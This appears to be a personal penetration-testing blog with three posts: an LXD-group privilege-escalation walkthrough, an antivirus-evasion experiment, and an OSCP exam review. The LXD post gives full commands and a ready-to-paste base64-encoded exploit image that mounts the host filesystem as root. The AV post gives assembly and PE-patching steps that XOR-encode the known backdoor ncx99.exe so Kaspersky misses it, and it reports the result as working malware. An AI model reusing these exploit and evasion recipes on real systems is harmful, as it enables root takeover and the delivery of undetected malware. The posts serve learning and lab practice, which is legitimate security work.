New Blog

This will be a pretty short blog post to inform you I have a new site with blog at https://SimulatedAttack.com. All new stuff will be posted there.

LXC Container Privilege Escalation in More Restrictive Environments

It is well-known that if you gain RCE as a user in the lxd group you can quite easily escalate your privileges to that of root. An example is at https://reboare.github.io/lxd/lxd-escape.html.

However, most examples on the Internet use something like the following to create the container:

lxc init ubuntu:16.04 test -c security.privileged=true

The problem with this is that you may be on a system that has restrictive network connectivity and no installed images; thus such a command may fail. Furthermore, for whatever reason, your RCE may not be an actual shell.

The easiest solution to this is to create your own image and upload that via an appropriate technique such as writing a base64 encoded file using echo and then decoding it; and one of the best of these is to use is a busybox template. We, however, aim to do better than that.

First, the busybox template on our test VM (running Ubuntu 18.04).

root:~# lxc-create m0noc -t busybox
root:~# lxc-ls -f
NAME  STATE   AUTOSTART GROUPS IPV4 IPV6 UNPRIVILEGED 
m0noc STOPPED 0         -      -    -    false

The actual container is created in /var/lib/lxc thus.

root:~# cd /var/lib/lxc/m0noc/rootfs
root:/var/lib/lxc/m0noc/rootfs# ls
bin      dev  home  lib64  null  ram0  sbin     sys  tty   tty1  urandom  var
console  etc  lib   mnt    proc  root  selinux  tmp  tty0  tty5  usr      zero

We need to take a copy of the root filesystem as our baseline.

root:/var/lib/lxc/m0noc/rootfs# cd ..
root:/var/lib/lxc/m0noc# tar cfj ~/busyboxOrig.tar.bz2 rootfs
root:/var/lib/lxc/m0noc# cd ; mkdir container ; cd container
root:~/container# tar xfj ../busyboxOrig.tar.bz2 
root:~/container# ls
rootfs

We now need to create a minimal yaml metadata file for lxc.

root:~/container# echo architecture: x86_64 > metadata.yaml
root:~/container# echo creation_date: 1424284563 >> metadata.yaml
root:~/container# cat metadata.yaml
architecture: x86_64
creation_date: 1424284563

Now zip it all up and copy over to our real target. Note the size of the image. Whilst a lot smaller than an Ubuntu image it is still a good size. Yes; I'm using the same box for the lxc user demo; this wouldn't normally be the case.

root:~/container# tar cfj ../m0nocBusybox.tar.bz2 rootfs metadata.yaml
root:~/container# cd ..
root:~# ls -l m0nocBusybox.tar.bz2 
-rw-r--r-- 1 root root 980879 Oct 16 12:58 m0nocBusybox.tar.bz2
root:~# cp m0nocBusybox.tar.bz2 /home/bob/
root:~# chown bob /home/bob/m0nocBusybox.tar.bz2

So as our lxc user lets make use of the new container image to gain access to a root.txt flag in the main vm.

bob:~$ id -a
uid=1002(bob) gid=1006(bob) groups=1006(bob),108(lxd)
bob:~$ cat /root/root.txt
cat: /root/root.txt: Permission denied
bob:~$ lxc image import m0nocBusybox.tar.bz2 --alias bobImage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first container, try: lxc launch ubuntu:16.04

Image imported with fingerprint: 13e9fb7ead9f0f09785b4e3203cfc52f42cd6ecdf371dbb5f07435c3d50bd560
bob:~$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
bob:~$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM
bob:~$ lxc start bobVM
bob:~$ lxc exec bobVM -- cat /r/root/root.txt
sup3rS5cr3tF1AgThatN0OneCanSee

Awesome. Now let's clear up.

bob:~$ lxc stop bobVM
bob:~$ lxc delete bobVM
bob:~$ lxc image delete bobImage

There are numerous ways to shrink the image significantly, the best of which is to use what is already there. Remember, a key differental between what we are doing and a normal container is that we want to increase our access. So, if we are mounting the entire filesystem then what we need is most probably already there.

In the busybox image, init and busybox are the one and the same hardlink (nb: the inode is going to be different for you):

root:~/container# find . -ls | fgrep 788059
   788059   1976 -rwsr-sr-x   2 root     root      2022480 Oct 16 12:50 ./rootfs/sbin/init
   788059   1976 -rwsr-sr-x   2 root     root      2022480 Oct 16 12:50 ./rootfs/bin/busybox

So lets take this step-by-step. First let's replace /sbin/init (the program lxc will run) with a symlink to the host's busybox. Within the container this will be in /r/bin/.

root:~/container/rootfs/sbin# ls -l 
total 1976
-rwsr-sr-x 2 root root 2022480 Oct 16 12:50 init
root:~/container/rootfs/sbin# rm init
root:~/container/rootfs/sbin# ln -s ./../bin/busybox init

Zip it up as before. Note that as we have broken the hard link the file size is still about the same.

root:~/container/rootfs/sbin# cd ../..
root:~/container# tar cfj ../m0nocBusybox2.tar.bz2 rootfs metadata.yaml 
root:~/container# cd ..
root:~# ls -l m0nocBusybox2.tar.bz2 
-rw-r--r-- 1 root root 984369 Oct 16 13:25 m0nocBusybox2.tar.bz2
root:~# cp m0nocBusybox2.tar.bz2 /home/bob/
root:~# chown bob /home/bob/m0nocBusybox2.tar.bz2

This time let's go into a shell when we run the exploit.

bob:~$ lxc image import m0nocBusybox2.tar.bz2 --alias bobImage
Image imported with fingerprint: 9c6dec86d91932575b763fa899cbf3c4f3760101418cb51b1d9e78571e6d392a
bob:~$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
bob:~$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM
bob:~$ lxc start bobVM
bob:~$ lxc exec bobVM -- /bin/sh


BusyBox v1.27.2 (Ubuntu 1:1.27.2-2ubuntu3) built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # cat /r/root/root.txt 
sup3rS5cr3tF1AgThatN0OneCanSee
~ # /r/usr/bin/file /sbin/init
/bin/sh: /r/usr/bin/file: not found
~ # ls -l /r/usr/bin/file
-rwxr-xr-x    1 root     root         22792 Jun 13 17:09 /r/usr/bin/file

What happened here? It works... but doesn't.

Let's have a look outside of the container.

root:~# file /usr/bin/file
/usr/bin/file: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ba74252751fddf2ef1b1d3bd2098c95550eee976, stripped

If you're use to linux, the (potential) issue is obvious. Look at the interpreter for the executable. As we haven't delt with the rest of the container that interpreter probably isn't there. Lets check.

~ # ls /lib64/ld-linux-x86-64.so.2
ls: /lib64/ld-linux-x86-64.so.2: No such file or directory
~ # ls /r/lib64/ld-linux-x86-64.so.2
ls: /r/lib64/ld-linux-x86-64.so.2: No such file or directory
~ # ls -l /r/lib64/ld-linux-x86-64.so.2
lrwxrwxrwx    1 root     root            32 Apr 16  2018 /r/lib64/ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-2.27.so
~ # ls /r/lib/x86_64-linux-gnu/ld-2.27.so
/r/lib/x86_64-linux-gnu/ld-2.27.so

Look like this is right but wasn't the whole story. Not only wasn't it there but the host OS is using absolute paths in it's symbolic links. Lets run a quick test in the container.

~ # /r/lib/x86_64-linux-gnu/ld-2.27.so /r/usr/bin/file /sbin/init
/r/usr/bin/file: error while loading shared libraries: libmagic.so.1: cannot open shared object file: No such file or directory

We're making progress. We are running /usr/bin/file but now have a so library issue. We can fix this ad-hoc by setting LD_LIBRARY_PATH or let's finish off re-engineering the image to something more useful.

After clearing up this container and image, we note that /dev has the correct devices loaded by the system so we can junk the metadevices in the virtual root.

root:~/container/rootfs# ls
bin      dev  home  lib64  null  ram0  sbin     sys  tty   tty1  urandom  var
console  etc  lib   mnt    proc  root  selinux  tmp  tty0  tty5  usr      zero
root:~/container/rootfs# rm console null ram0 tty tty0 tty1 tty5 urandom zero

Next, we note that it is probably easier to just keep /sbin as we have /sbin/init. I'll leave it as an exercise to improve on this.

We also note that we don't need home, mnt or selinux in this case.

root:~/container/rootfs# rmdir home mnt selinux

Finally we can symlink some of the other key directories to the host version to resolve our dynamic linker issue. It goes without saying; *make such you delete the right one*

root:~/container/rootfs# pwd
/root/container/rootfs
root:~/container/rootfs# rm -r usr bin lib lib64
root:~/container/rootfs# for a in usr bin lib lib64; do ln -s ./r/$a; done

We can now create a new container image.

root:~/container# tar cfj ../m0nocFinal.tar.bz2 rootfs metadata.yaml
root:~/container# cd ..
root:~# ls -l m0nocFinal.tar.bz2 
-rw-r--r-- 1 root root 656 Oct 16 13:41 m0nocFinal.tar.bz2
root:~# base64 -w 0 m0nocFinal.tar.bz2 ; echo
QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng=

Let's test our 656 byte exploit.

bob:~$ echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2
bob:~$ lxc image import bob.tar.bz2 --alias bobImage
Image imported with fingerprint: 8961bb8704bc3fd43269c88f8103cab4fccd55325dd45f98e3ec7c75e501051d
bob:~$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
bob:~$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM
bob:~$ lxc start bobVM
bob:~$ lxc exec bobVM -- /bin/sh
# cat /r/root/root.txt 
sup3rS5cr3tF1AgThatN0OneCanSee
# file /sbin/init
/sbin/init: symbolic link to ./../bin/busybox
# file ./../bin/busybox
./../bin/busybox: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=523ce489921940867ee1a8631dbfdd5753d84688, stripped
# exit
bob:~$ lxc stop bobVM
bob:~$ lxc delete bobVM
bob:~$ lxc image delete bobImage

So we now have a 656 byte lxc priv-esc which requires no external access to an image server or pre-installed images; which is a vast improvement of the normal method.

Whilst I usually find busybox with lxc this may not always be the case. There are other choices that may work out. Alternatively you could craft your own init or try and incorporate a metaspolit output with some lxc network config tweaks, for example, to get a reverse meterpreter. Experiment with ideas and hack the planet (if you have permission, of course ;-) )

Bypassing Kaspersky 2017 AV by XOR encoding known malware with a twist

One thing that I haven't had a really good look at, coming from a non-pentesting background, is how to avoid anti-virus scanners; so here is my first serious dive into it.

I suspect to most this isn't anything new to experienced testers. Given the limitations of even “smart” anti-virus products, this type of issue is expected and will not be limited to any one AV vendor.

Nevertheless, I was curious to find out how easy it is to out-smart an intelligent scanner in order to get known malware past the scanner. Short answer; surprisingly easy.

The setup is a Windows Vista and Windows 8.1 VM running Kaspersky Anti-Virus 2017 with updates applied. The scanner was set to High (max protection), Heuristic Analysis set to Deep scan, and the iSwift and iChecker Technology enabled.

The malware is the venerable ncx99.exe. Others have tried xor encoders and many other variants to bypass the scanner, without success. So I thought I would take a different approach to find something missing from the emulator used to get malware to unpack and expose itself; finding that glitch in the Matrix.

I won't cover basic XOR encoders here; Google is your friend if you wish to know.

Upon starting ncx99.exe in a debugger we notice the following at the program entry point:

EAX 772AD3B7 kernel32.BaseThreadInitThunk

EDX 00404C00 ncx99-or.<ModuleEntryPoint>

ESP 0012FF8C

EBP 0012FF94

EIP 00404C00 ncx99-or.<ModuleEntryPoint>

The top of the stack looks like this:

0012FF8C   772AD3C9  RETURN to kernel32.772AD3C9

0012FF90   7FFD5000

0012FF94  /0012FFD4

It turns out that the delta between ESP and EBP is always the same (at least on my Vista VM; a little more on that later).

So let’s reference the XOR encoder and base address indirectly based on the designed functionality of the stack rather than computing it in the program. This way the emulator needs to already be aware of this relationship; so is it? (I suspect you already know the answer!)

First, I modify the PE Header in the file to point to a new code cave:

I created a new section with a base address of 0x13000 and size 0x1000. The exe is increased with null bytes by 0x1000 to accommodate this section. I then modify the Program Entry Point from 0x404c00 (in .text) to 0x413000 (in the new section) and ensure that .text is writeable.

Back in the debugger I then create the following stub and save a new copy of the executable with these changes:

00413000 > 60               PUSHAD

00413001   9C               PUSHFD

00413002   BB EA7ACE39      MOV EBX,39CE7AEA              # XOR key

00413007   53               PUSH EBX

00413008   BB 00104000      MOV EBX,ncx99-ne.00401000     # Base addr for xor

0041300D   53               PUSH EBX

0041300E   8B45 D0          MOV EAX,DWORD PTR SS:[EBP-30] # get xor key

00413011   8B55 CC          MOV EDX,DWORD PTR SS:[EBP-34] # get base addr

00413014   83EA 04          SUB EDX,4

00413017   83C2 04          ADD EDX,4

0041301A   3102             XOR DWORD PTR DS:[EDX],EAX    # enc/dec dword

0041301C   83C2 05          ADD EDX,5

0041301F   4A               DEC EDX

00413020   81FA 6CA74000    CMP EDX,ncx99-ne.0040A76C     # loc of last dword

00413026  ^7E F2            JLE SHORT ncx99-ne.0041301A
00413028   58               POP EAX
00413029   58               POP EAX

0041302A   9D               POPFD

0041302B   61               POPAD

0041302C  -E9 CF1BFFFF      JMP ncx99-ne.00404C00         # Execute orig code

The key trick is that we are pushing the key and base address on the stack at 00413007 and 0041300D, but then referencing them using EBP at 0041300E and 00413011 (without ever referencing or setting EBP beforehand; we just know it gets set up like this by the OS).

So in the case of Vista, we have 8 bytes followed by 32 bytes from the pushad and 4 bytes from the pushfd; total 44 bytes (0x2C). So adding a dword to the stack gives an offset from EBP of 0x30 and a further dword gives 0x34.

Next, we do the usual break on 00413028 (just after the encoder) and run the program to encode .text. We then save the changes made between 00401000 and 0040A76C (we are working on DWORDs). This new file, when run, will decode .text and then run the decoded contents.

Passing through the AV shows no issues. Running it creates a listener on 99/tcp which we can connect to in order to get full system access. Success.

 Next, I thought I would test the ability of the AV to figure out known offsets. So rather than the non-explicit connection between ESP and EBP, lets rewrite it to see if the emulator is stack-aware.

I change the EBP offsets to the following; correcting the stub offsets accordingly:

0041300E   8B4424 04        MOV EAX,DWORD PTR SS:[ESP+4]

00413012   8B1424           MOV EDX,DWORD PTR SS:[ESP]

This time the AV detects that it is ncx99; so it looks like the emulator in the AV is stack aware.

Finally, I decided to test the approach on Windows 8.1. In this case the stack is a bit different on entry, but the delta is still consistent across reboots.

ESP 0013FF84

EBP 0013FF94

0013FF84   76444198  RETURN to KERNEL32.76444198

0013FF88   7FFDF000

0013FF8C   76444170  KERNEL32.BaseThreadInitThunk

0013FF90   F5EE812D

0013FF94  /0013FFDC

A simple adjustment to the relative offsets from EBP yields success:

0041300E   8B45 C8          MOV EAX,DWORD PTR SS:[EBP-38]

00413011   8B55 C4          MOV EDX,DWORD PTR SS:[EBP-3C]

i.e. a functional malware that is known to the AV product but not detected by it.

This code can probably be simplified (some null actions, etc, from previous tweaks) and made version agnostic; but I will leave that as an exercise for the reader as this was only meant to be a PoC.

I also tried this technique (but using some spare space at the end of the .text section) on some other programs including netpass.exe and all became undetectable by the AV file scanner. Yey.

The take for me is that signature based detection is good for low-hanging fruit; stuff that is already known or similar. However, once you start customising stuff it can rapidly lose its effectiveness. Sometimes that customisation may only need to be a simple tweak, as in this example.

Update: Uploaded to virustotal and now detection is slowly growing; though a few major vendors including Kaspersky still don't detect it. You can see the sample here

E9 3E 50 4F 53: What comes in red pills and is highly addictive?

Since passing my OSCP exam a few weeks ago I've been debating whether to add to the vastness of reviews on the PWK course and OSCP exam. It, however, feels like a right of passage; so here goes.

What is the PWK course, I hear you ask. To quote from Offensive Security's website:

“Penetration Testing with Kali (PWK) is a self-paced online pen testing course designed for network administrators and security professionals who want to take a serious and meaningful step into the world of professional penetration testing.”

It is marketed as an foundational course. Whilst this is correct in the grand scheme of things, don't let this fool you. It isn't “foundational” like many other courses with such branding; it is a course that will ensure you really understand and can effectively use the tools, techniques and theory that you are taught. This includes research and thinking creatively to work round problems.

Why did I do it?

There are two reasons.

First, I had heard of the course, many others in the community raving about how good it is, and that people were saying it was awesome. When someone states something is awesome you may be inclined to think they are over-rating a course that they enjoyed; but when so many people in the community, some of which I know, were telling similar stories; well that is a pattern that cannot be ignored.

Second, a more practical reason. Since I've left my job at a well known global telco I wanted to switch from a core infrastructure troubleshooter of last resort to a full time pen tester / security researcher. Whilst I had several SANS certifications such as GXPN, GPEN, etc, recruiters and companies in the UK were not particularly interested in them, but instead OSCP and CREST. CREST was very expensive. As I'm self funded with no income, both this and the reviews of OSCP meant OSCP was the way to go.

What do you get?

In addition to the expected course PDF and lots of video, you get access to what is probably the biggest plus for the course; access to a lab with in excess of 50 hosts across a number of networks. This lab has a whole range of challenges, from different operating systems to applications, designed to practice everything the course aims to teach you. There are rumours that a Solaris box lurks in the shadows.

Think of the PDF course as a solid and well-written step-by-step guide and the lab as the “now you know the principles, go pwn all the boxes”.

You can book lab time in 30, 60 or 90 day blocks. Each comes with an exam attempt.

The PDF has a number of exercises for you to do. Some are independent of the labs, some aren't. When it comes to the labs you are not given that much help (unless you really need it); it is a case of you need to figure out where and what is the vulnerability and how to exploit it; just like in real life.

If after, to quote their catchphrase you have “Tried Harder” but still need help, the OffSec admins will give you hints if asked. The forums, where other students can be found, will give you more obvious hints. Though the admins will edit out any “spoilers” that a student may inadvertently add. You won't get the answer; that is for you to figure out. After all, if you want to be a penetration tester, this is a key attribute you need to have.

In the exam though; you will get no hints.

When doing the exercises and the labs it is good to document them. If you document all of the required exercises and ten lab boxes in a penetration test report (there is a template), you can potentially get an extra five bonus points for each towards the exam mark for a total of ten bonus points.

I would strongly recommend you write this report, and before your exam. You don't want to be worrying about that as well during the report writing phase of the exam.

The Exam

The OSCP exam consists of a 23 hour 45 minute block of time to achieve a number of objectives within the exam network; which includes obtaining the proof.txt file in a shell for a number of targets (with evidence and recording of this in the appropriate form) proving you have admin rights. There can be other objectives for the targets such as a local.txt for an unprivileged shell.

You then have a further 24 hours to write the report and submit it in the required format (mandatory); along with the lab and exercise report (optional; which you did prior to the exam, didn't you).

All this is documented on the Offsec website; details of what I had in my exam (specifics) are under an NDA. See the exam guide for more info.

When am I ready for the exam?

OffSec are deliberately non-prescriptive on this since “it depends”.

They do recommend that you should get all the lab boxes except the “big three” of pain, sufferance and humble; at which point you should have the minimum necessary for the exam, but that is no guarantee. My view is that if you get all the main lab boxes and complete the exercises in the PDF you have covered all the key areas so should have the skills necessary, but; see my hints and tips later.

For me, I came from a non-pentesting role, despite my SANS certs. My expectation was that networks and systems level stuff would be relatively easier than the web app stuff, since it is in the infrastructure level stuff that my previous experience is at. Most of my application level experience  involved the services rather than the apps (e.g. Java JVM analysis/tuning). Also, in my day job I had all the keys to start with so would need to improve that “black box” approach to systems.

The result, some web app targets I would initially spend a couple of days to root whereas pain and sufferance were straightforward (privilege escalation including the recon was less than 15 minutes on one of them).

So I guess what I'm trying to say is that we all have different backgrounds and experiences. Something that is easy for some of us will be hard for others and visa-versa. Find your weaknesses and focus on those but don't neglect any area. Use the course PDF and labs as a guide to assess and practice those skills.

What did I do?

I took the 90-day lab option. I also took a couple of weeks off about half way through to recharge; you cannot “pause” the lab time but I felt a gap was important.

Once I had all of the labs boxes bar a small number I booked the exam for a months time. This meant the exam was a few days prior to the end of the lab. I figured if I failed the exam I could then extend the lab without interruption. Others may take a different approach.

I then spent the first two weeks writing the lab and exercise report for the bonus points; including re-testing the approach in the lab from a clean target to ensure a reliable exploit and that the process documented was correct. In some cases I simplified the approach as my initial success was more convoluted than needed.

After that, up to the exam, I used the lab time to finish off the lab boxes I hadn't got (or had only got via Metasploit) and then redid between 3 and 6 per day without looking at the machine specific notes I had. This gave me a lot more confidence heading into the exam; especially when I was finding other ways in and doing all in a good time (sufficient that if they were exam boxes I would have passed).

In the UK it looks like the earliest exam time you can book is at 10:00 (BST), so I went for that.

So, exam day comes after a reasonable sleep the night before. I get up and have a few hours before it starts, I try to take things easy and not rush anything; chill out as best I can.

10:00 the exam starts and the emails duly arrive from OffSec. I set up the VPN, connect and read the exam objectives I have been given. Each objective has a points value and you need a total of 70 out of 100 to pass (did I mention there are potentially 10 further bonus points for the lab / exercise report).

I notice one of the high value objectives is a very strong area for me but may take a bit of time, so for the next two hours I focus on that one whilst performing some background recon on the others.

Once that is in the bag I go for lunch, during which time the first problem occurs. A power blackout!!! Arrrrgh. I shall not quote the words that came out of my mouth.

Fortunately this only lasted just over five minutes, which meant my UPS was able to handle the issue (the perils living in a rural location). Time to get my blood pressure back under control and relax for the rest of my lunch.

I then spend the next hour and a bit on a low value target and getting a low priv shell on another. Time for another rest.

It is another 4.5 hours before I get my next success. Cycling through the remaining targets doing a bit of analysis until I feel I'm not making progress and moving on; then I suddenly spot the way to escalate privs on the one with the low priv shell. Yey; I am root. Time for dinner.

Back from dinner it is then not until 21:01 that I get low priv on my next target. Hint. If you think that you have tried something and it should have worked, retry it very carefully. You may find that you could have avoided wasting some precious time.

21:19 and I now have root. Yey. Time to take another rest.

I now have the final target that has been teasing me for most of the exam. However, I can now focus on this one; exclusively.

02:21 and I get low-priv. My mistake - OSCP is a foundational course so you appreciate that the solutions are easy (once you know how); this doesn't mean that if something appears complicated it is.

Then 03:04 I finally get root on the last box. Final root dance.

It ain't over yet.

Whilst I still have access to the exam network, I review all the objectives and make sure I have met them, submitted my proofs and have all the information I need for the report. Circa 03:30 I can now finally make a direct b-line for the bed and don't need to worry if I over-sleep.

The next day, or should that be later that day, I get up knowing that I now need to write the report; as no report = no pass.

As I've already written the lab and exercise report I only need to do the same for the exam objectives. I can afford to take my time and not rush things. Once written I can re-read it then update until I'm happy that it is up to an acceptable standard for submission.

I submit the report later that day and get confirmation from OffSec at 17:48 they have received it. At 19:47 the following day I get the results.

“We are happy to inform you that you have successfully completed the Penetration Testing with Kali Linux certification exam and have obtained your Offensive Security Certified Professional (OSCP) certification.”

Nice :D

Hints and Tips

•      Read the other reviews out there. Collectively they paint a good picture about what to expect from the course and exam and hopefully you'll find at least one that is a good match for your background and learning method.

•      Remember this is a foundational course; so the “way in” is going to be straightforward. You still need to find it, but don't need to write a 0day or anything close to that.

•      If you are writing a 0day or similar it is probably a rabbit hole.

•      Don't over-think things.

•      If it is too obvious to be the way-in; it might be the way in.

•      Whilst not required to take the exam, getting all the lab boxes except the “big three” is a good measure as to whether you are ready; though there are no guarantees.

•      Did I mention there are bonus points for the lab / exercise report. Writing this before the exam removes the pressure of being just short of passing and having to write that report in addition to the exam report in the 24 hour report period you have.

•      If you need to seek out help to get a lab box, figure out how you could have done things differently so as to avoid needing that help. Avoid if possible being too specific for that particular target. Remember; there are no hints on the exam.

•      Document everything; a searchable reference other than Google may come in handy.

•      Take regular breaks. Aim to spend no more than two hours at a time on the computer. You need to recharge, rest, relax to aid in concentration. This is a 24 hour exam after all.

•      Plan meals, etc beforehand so you only have to think about the exam on the exam day.

•      Try not to panic or stress out. If you are stuck or struggling take a time-out or move on to another target and re-visit that one at a later date. That distraction can lead to a eureka moment or allow you to re-focus on that problem when you return to it.

•      Read g0tmi1k's article for 'alpha' on the PWK forum (contains spoilers; so perhaps not straight away but certainly before the exam). Focus more on the strategy and approach he uses and think about how you can apply that to the other lab boxes and the exam boxes.

•      If you don't pass the first time don't give up. Know that many people have been there before, have come so close, but not let this stop them. If you feel like it, blog about it and how you dealt with it. This is something missing from most reviews that several people have stated would have helped.

•      …. and finally; beware, penetration testing comes in red pills and is highly addictive.

Conclusion

I can safely say that the PWK course and even the OSCP exam were some of the most enjoyable I've experienced (how often can you say you have thoroughly enjoyed an exam?).

What I especially like is that it is designed to get you to think for yourself. The exam tests this; and in my view is vastly more valuable than an exam that tests whether you can remember the exact switch or option to a command that you would normally just look up if you didn't know.

Next Steps

Well, I was thinking covfefe ….. er CTP/OSCE. I got bored waiting for the PWK course to start so had a go at the pre-registration challenge and liked it. I start in a few days.